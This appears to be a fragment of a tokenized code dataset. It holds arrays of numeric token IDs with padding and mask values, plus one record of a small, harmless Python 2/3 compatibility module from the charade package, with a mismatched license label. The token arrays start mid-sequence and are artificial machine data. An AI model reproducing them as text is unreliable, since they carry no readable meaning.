665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
421,
199,
91,
272,
283,
354,
356,
283,
30244,
3590,
287,
3793,
297,
272,
283,
1023,
356,
283,
18,
14,
16,
297,
272,
283,
3710,
356,
283,
11654,
297,
272,
283,
1802,
356,
408,
199,
7852,
4390,
370,
4676,
4012,
25463,
14,
199,
2486,
532,
199,
7208,
272,
283,
2502,
356,
283,
25347,
308,
14,
65,
3130,
272,
283,
26665,
356,
283,
25347,
308,
14,
65,
3130,
272,
283,
7360,
356,
283,
2859,
921,
1544,
14,
22058,
14,
957,
297,
272,
283,
8912,
356,
788,
1095,
297,
283,
2520,
995,
272,
283,
576,
356,
359,
267,
283,
470,
63,
3707,
14,
1652,
297,
267,
283,
4196,
15,
1178,
63,
15403,
14,
1652,
297,
272,
2156,
272,
283,
22600,
356,
788,
1986,
15,
2164,
15,
1652,
15,
1178,
63,
15403,
14,
1652,
995,
272,
283,
5159,
63,
5714,
356,
469,
267,
283,
1548,
7,
520,
788,
15403,
995,
272,
1660,
272,
283,
21762,
356,
715,
12,
272,
283,
2495,
63,
3174,
356,
756,
12,
199,
93,
199,
3,
6695,
26,
10379,
26,
10558,
26,
6492,
29,
20,
26,
10503,
29,
20,
26,
10425,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
7129,
13,
7409,
7653,
308,
14,
65,
14,
8642,
1014,
921,
11267,
14,
957,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
421,
199,
91,
272,
283,
354,
356,
283,
30244,
3590,
287,
3793,
297,
272,
283,
1023,
356,
283,
18,
14,
16,
297,
272,
283,
3710,
356,
283,
11654,
297,
272,
283,
1802,
356,
408,
199,
7852,
4390,
370,
4676,
4012,
25463,
14,
199,
2486,
532,
199,
7208,
272,
283,
2502,
356,
283,
25347,
308,
14,
65,
3130,
272,
283,
26665,
356,
283,
25347,
308,
14,
65,
3130,
272,
283,
7360,
356,
283,
2859,
921,
1544,
14,
22058,
14,
957,
297,
272,
283,
8912,
356,
788,
1095,
297,
283,
2520,
995,
272,
283,
576,
356,
359,
267,
283,
470,
63,
3707,
14,
1652,
297,
267,
283,
4196,
15,
1178,
63,
15403,
14,
1652,
297,
272,
2156,
272,
283,
22600,
356,
788,
1986,
15,
2164,
15,
1652,
15,
1178,
63,
15403,
14,
1652,
995,
272,
283,
5159,
63,
5714,
356,
469,
267,
283,
1548,
7,
520,
788,
15403,
995,
272,
1660,
272,
283,
21762,
356,
715,
12,
272,
283,
2495,
63,
3174,
356,
756,
12,
199,
93,
199,
3,
6695,
26,
10379,
26,
10558,
26,
6492,
29,
20,
26,
10503,
29,
20,
26,
10425,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
dcifuen/cloudbday
|
src/lib/requests/packages/charade/compat.py
|
2943
|
1157
|
######################## BEGIN LICENSE BLOCK ########################
# Contributor(s):
# Ian Cordasco - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301 USA
######################### END LICENSE BLOCK #########################
import sys
if sys.version_info < (3, 0):
base_str = (str, unicode)
else:
base_str = (bytes, str)
def wrap_ord(a):
if sys.version_info < (3, 0) and isinstance(a, base_str):
return ord(a)
else:
return a
|
mit
|
[
6565,
16427,
5113,
8068,
11945,
199,
3,
17636,
8,
83,
304,
199,
3,
257,
473,
290,
445,
2181,
305,
331,
446,
1844,
370,
2018,
199,
3,
199,
3,
961,
3555,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
199,
3,
1015,
499,
14,
17,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
3555,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
3555,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
199,
3,
11315,
13,
10067,
221,
8217,
199,
19054,
7729,
5113,
8068,
21186,
199,
199,
646,
984,
421,
199,
692,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
304,
272,
1300,
63,
495,
275,
334,
495,
12,
2649,
9,
199,
2836,
26,
272,
1300,
63,
495,
275,
334,
2394,
12,
620,
9,
421,
199,
318,
4816,
63,
2181,
8,
65,
304,
272,
340,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
9,
436,
1228,
8,
65,
12,
1300,
63,
495,
304,
267,
372,
6206,
8,
65,
9,
272,
587,
26,
267,
372,
282,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
16427,
5113,
8068,
11945,
199,
3,
17636,
8,
83,
304,
199,
3,
257,
473,
290,
445,
2181,
305,
331,
446,
1844,
370,
2018,
199,
3,
199,
3,
961,
3555,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
199,
3,
1015,
499,
14,
17,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
3555,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
3555,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
199,
3,
11315,
13,
10067,
221,
8217,
199,
19054,
7729,
5113,
8068,
21186,
199,
199,
646,
984,
421,
199,
692,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
304,
272,
1300,
63,
495,
275,
334,
495,
12,
2649,
9,
199,
2836,
26,
272,
1300,
63,
495,
275,
334,
2394,
12,
620,
9,
421,
199,
318,
4816,
63,
2181,
8,
65,
304,
272,
340,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
9,
436,
1228,
8,
65,
12,
1300,
63,
495,
304,
267,
372,
6206,
8,
65,
9,
272,
587,
26,
267,
372,
282,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
